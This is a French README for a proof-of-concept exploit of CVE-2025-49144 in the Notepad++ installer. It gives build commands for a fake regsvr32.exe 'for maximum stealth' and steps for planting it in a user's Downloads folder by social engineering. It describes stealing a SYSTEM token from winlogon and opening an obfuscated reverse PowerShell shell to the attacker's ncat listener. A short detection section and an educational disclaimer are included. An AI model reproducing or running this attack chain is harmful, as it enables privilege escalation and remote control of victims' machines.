
PoC CVE-2025-49144
⚠️ À SEULEMENT DES FINS ÉDUCATIVES
Ce code est conçu à des fins éducatives et de recherche pour comprendre les vulnérabilités de plantage binaire. À utiliser uniquement dans des environnements contrôlés avec une autorisation appropriée.
Cette Preuve de Concept démontre la vulnérabilité de plantage binaire dans l'installateur de Notepad++ (CVE-2025-49144) référencée dans GHSA-9vx8-v79m-6m24. La vulnérabilité permet à un attaquant d'obtenir des privilèges de niveau SYSTEM en plaçant un exécutable malveillant nommé regsvr32.exe dans le même répertoire que l'installateur de Notepad++.
regsvr32.exe malveillantLa Preuve de Concept se compose de plusieurs composants fonctionnant ensemble :
┌─────────────────┐ ┌──────────────────┐ ┌─────────────────┐
│ Notepad++ │ │ Malicious │ │ Reverse Shell │
│ Installer │───▶│ regsvr32.exe │───▶│ (PowerShell) │
│ (searches for │ │ (CGO binary) │ │ with SYSTEM │
│ regsvr32.exe) │ │ │ │ privileges │
└─────────────────┘ └──────────────────┘ └─────────────────┘
# Install Go (1.24+)
# Install MinGW-w64 for CGO compilation
# Install Git for version control
# Clone the repository
git clone https://github.com/Vr00mm/CVE-2025-49144
cd CVE-2025-49144
# Build as executable (masquerading as regsvr32.exe)
# For maximum stealth (strip debug info)
go build -ldflags="-s -w" -o regsvr32.exe
# For development (with debug symbols)
go build -o regsvr32_debug.exe
# 1. Place malicious regsvr32.exe in same directory as Notepad++ installer
# Usually the Downloads folder where users download the installer
copy regsvr32.exe "C:\Users\%USERNAME%\Downloads\"
# 2. User downloads official Notepad++ installer to Downloads folder
# 3. When user runs the installer, it searches for regsvr32.exe in current directory first
# 4. Installer finds and executes our malicious regsvr32.exe with SYSTEM privileges
# 5. Listen for incoming reverse shell connection
ncat -tlnp 4445
sequenceDiagram
participant User
participant Attacker
participant Downloads
participant NotepadInstaller
participant MaliciousRegsvr32
participant SystemProcess
User->>Downloads: Download Notepad++ installer
Attacker->>Downloads: Place malicious regsvr32.exe (social engineering)
User->>NotepadInstaller: Run installer from Downloads folder
NotepadInstaller->>Downloads: Search for regsvr32.exe in current directory
Downloads->>MaliciousRegsvr32: Find malicious regsvr32.exe first
NotepadInstaller->>MaliciousRegsvr32: Execute with SYSTEM privileges
MaliciousRegsvr32->>MaliciousRegsvr32: Create detached process
MaliciousRegsvr32->>SystemProcess: Enumerate SYSTEM processes
SystemProcess->>MaliciousRegsvr32: Steal token from winlogon/services
MaliciousRegsvr32->>MaliciousRegsvr32: Create PowerShell with SYSTEM token
MaliciousRegsvr32->>Attacker: Establish reverse connection
MaliciousRegsvr32->>NotepadInstaller: Continue with legitimate regsvr32 functionality
Attacker->>SystemProcess: Execute commands as SYSTEMPlantage Binaire
Élévation de Privilèges
Mécanismes de Persistance
Programmation Réseau
Programmation CGO
# Monitor for suspicious regsvr32 usage
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; ID=4104}
# Check for unusual network connections
netstat -ano | findstr ":4445"
# Monitor process creation
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4688}
Échecs de Connexion
# Check if port is available
netstat -ano | findstr ":4445"
# Verify firewall settings
netsh advfirewall firewall show rule name=all | findstr "4445"
Erreurs de Compilation
# Ensure CGO is enabled
set CGO_ENABLED=1
# Check MinGW installation
gcc --version
# Verify Go installation supports CGO
go env CGO_ENABLED
Échecs d'Acquisition de Jeton
Ce projet est publié sous licence MIT à des fins éducatives. Voir le fichier LICENSE pour plus de détails.
Rappelez-vous : Cet outil est destiné à des fins éducatives et de test autorisé uniquement. Suivez toujours les pratiques de divulgation responsable et respectez les limites légales.
| Fichier | Objectif | Lignes |
|---|
main.go | Point d'entrée, gère l'exécution de regsvr32 | ~80 |
winbind.h | En-tête principal avec déclarations de fonctions | ~45 |
main.c | Lanceur principal de shell inversé et création de processus détaché | ~75 |
shell.c | Gestionnaire de shell avec exécution PowerShell obfusquée | ~120 |
process.c | Acquisition de jeton et création de processus SYSTEM | ~195 |
socket.c | Connexion réseau avec keep-alive TCP | ~85 |
threads.c | Threading I/O entre socket et pipes | ~60 |
utils.c | Validation d'entrée et limitation de débit | ~35 |
obfuscate.c | Techniques d'obfuscation de chemin PowerShell | ~70 |